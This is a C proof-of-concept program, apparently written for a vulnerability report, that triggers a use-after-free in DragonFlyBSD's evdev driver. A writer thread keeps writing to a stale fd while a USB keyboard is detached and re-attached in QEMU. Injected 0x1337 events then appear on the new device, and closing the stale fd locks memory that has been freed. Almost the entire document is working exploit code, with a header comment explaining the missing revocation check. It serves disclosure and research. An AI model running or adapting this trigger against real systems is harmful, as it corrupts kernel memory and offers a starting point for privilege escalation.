DF-4454 / evdev_uaf.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 | /* * DF-4454 PoC: DragonFlyBSD evdev use-after-free across driver teardown. * * Bug: ukbd detach (USB unplug / device_del) -> evdev_free() -> * evdev_unregister() + kfree(evdev) while client fds are open and a * write(2) is in flight. evdev_write() (sys/dev/misc/evdev/cdev.c) * caches `evdev = dev->si_drv1` once at entry and NEVER re-checks * client->ec_revoked inside its event loop, so the loop keeps calling * evdev_inject_event() on the freed evdev_dev for the whole buffer. * * Demo: after the free, re-attach a USB keyboard (QEMU device_add). The new * evdev_dev re-uses the freed block (same M_EVDEV size class). The stale * in-flight write then injects events INTO THE NEW DEVICE: a reader that * opened the *new* /dev/input/event4 observes KEY events carrying the magic * value 0x1337 that were written to the *deleted* device's fd. Nobody ever * wrote 0x1337 to the new fd: proof the stale fd wrote through a dangling * pointer into re-allocated kernel memory. * * usage: ./evdev_uaf <event-node> <megabytes> * phase A: open stale fd, start writer thread (pairs of * [KEY_Q down/up][SYN_REPORT 0x1337]) * phase B: HOST does device_del kbd1 ; sleep 0.06 ; device_add ... * (driven externally via the QEMU monitor) * phase C: this program re-opens the node (new device), reads events, * counts magic events, then closes the stale fd (dtor UAF lock * on freed/reused memory). */ #include <sys/ioctl.h> #include <sys/types.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <pthread.h> #include <errno.h> #include <time.h> #include <dev/misc/evdev/input.h> #define MAGIC 0x1337 #define KEY_Q 16 struct input_event32 { struct timeval t; uint16_t type; uint16_t code; int32_t value; }; static int stale_fd = -1; static volatile int writer_done = 0; static long writer_bytes = 0; static int writer_err = 0; static void *writer(void *arg) { size_t mb = (size_t)(uintptr_t)arg; struct input_event32 *buf; size_t n, bufsz; ssize_t r; bufsz = (mb * 1024 * 1024 / sizeof(struct input_event32)) * sizeof(struct input_event32); buf = malloc(bufsz); n = bufsz / sizeof(*buf); for (size_t i = 0; i < n; i += 2) { /* down,report,up,report so sparse-event never skips */ buf[i].type = EV_KEY; buf[i].code = KEY_Q; buf[i].value = (i / 2) % 2 == 0 ? 1 : 0; if (i + 1 < n) { buf[i+1].type = EV_SYN; buf[i+1].code = SYN_REPORT; buf[i+1].value = MAGIC; } } r = write(stale_fd, buf, bufsz); if (r < 0) { writer_err = errno; fprintf(stderr, "[writer] write failed: %s\n", strerror(errno)); } else { writer_bytes = r; printf("[writer] write(%zu MB) returned %zd bytes\n", mb, r); } free(buf); writer_done = 1; return NULL; } int main(int argc, char **argv) { const char *node = argc > 1 ? argv[1] : "/dev/input/event4"; int mb = argc > 2 ? atoi(argv[2]) : 8; pthread_t th; char evbuf[64 * 1024]; int magic_hits = 0, total = 0; struct input_event32 *ev; int newfd, n, i; stale_fd = open(node, O_RDWR); if (stale_fd < 0) { perror("open stale"); return 2; } printf("[+] stale fd %d open on %s\n", stale_fd, node); if (pthread_create(&th, NULL, writer, (void *)(uintptr_t)mb) != 0) { perror("pthread_create"); return 2; } printf("[+] writer thread started (%d MB)\n", mb); printf("[.] host should now: device_del kbd1; sleep 0.06; device_add usb-kbd\n"); /* wait for the writer to be mid-flight, then wait for host action */ struct timespec ts = { 12, 0 }; for (i = 0; i < 120 && !writer_done; i++) nanosleep(&ts, NULL); /* phase C: open the (re-created) node = the NEW device */ newfd = open(node, O_RDWR | O_NONBLOCK); if (newfd < 0) { printf("[!] reopen %s failed: %s (device not re-added yet?)\n", node, strerror(errno)); } else { printf("[+] new fd %d open on re-created %s\n", newfd, node); /* drain events */ for (i = 0; i < 40; i++) { n = read(newfd, evbuf, sizeof(evbuf)); if (n < 0) { if (errno != EAGAIN) printf("[!] read: %s\n", strerror(errno)); break; } for (int off = 0; off + sizeof(*ev) <= (size_t)n; off += sizeof(*ev)) { ev = (struct input_event32 *)(evbuf + off); total++; if (ev->value == MAGIC) { magic_hits++; if (magic_hits <= 5) printf("[MAGIC] type=%u code=%u " "value=0x%x\n", ev->type, ev->code, (unsigned)ev->value); } } ts.tv_sec = 0; ts.tv_nsec = 100 * 1000 * 1000; nanosleep(&ts, NULL); } close(newfd); } printf("[.] waiting for writer to finish...\n"); pthread_join(th, NULL); printf("[.] closing stale fd %d (evdev_dtor -> EVDEV_LOCK on " "freed/reused evdev)\n", stale_fd); close(stale_fd); stale_fd = -1; printf("%s: total_events=%d magic_hits=%d writer_bytes=%ld " "writer_err=%d\n", magic_hits > 0 ? "UAF-CONFIRMED" : "UAF-NOT-CONFIRMED", total, magic_hits, writer_bytes, writer_err); return magic_hits > 0 ? 42 : 1; } |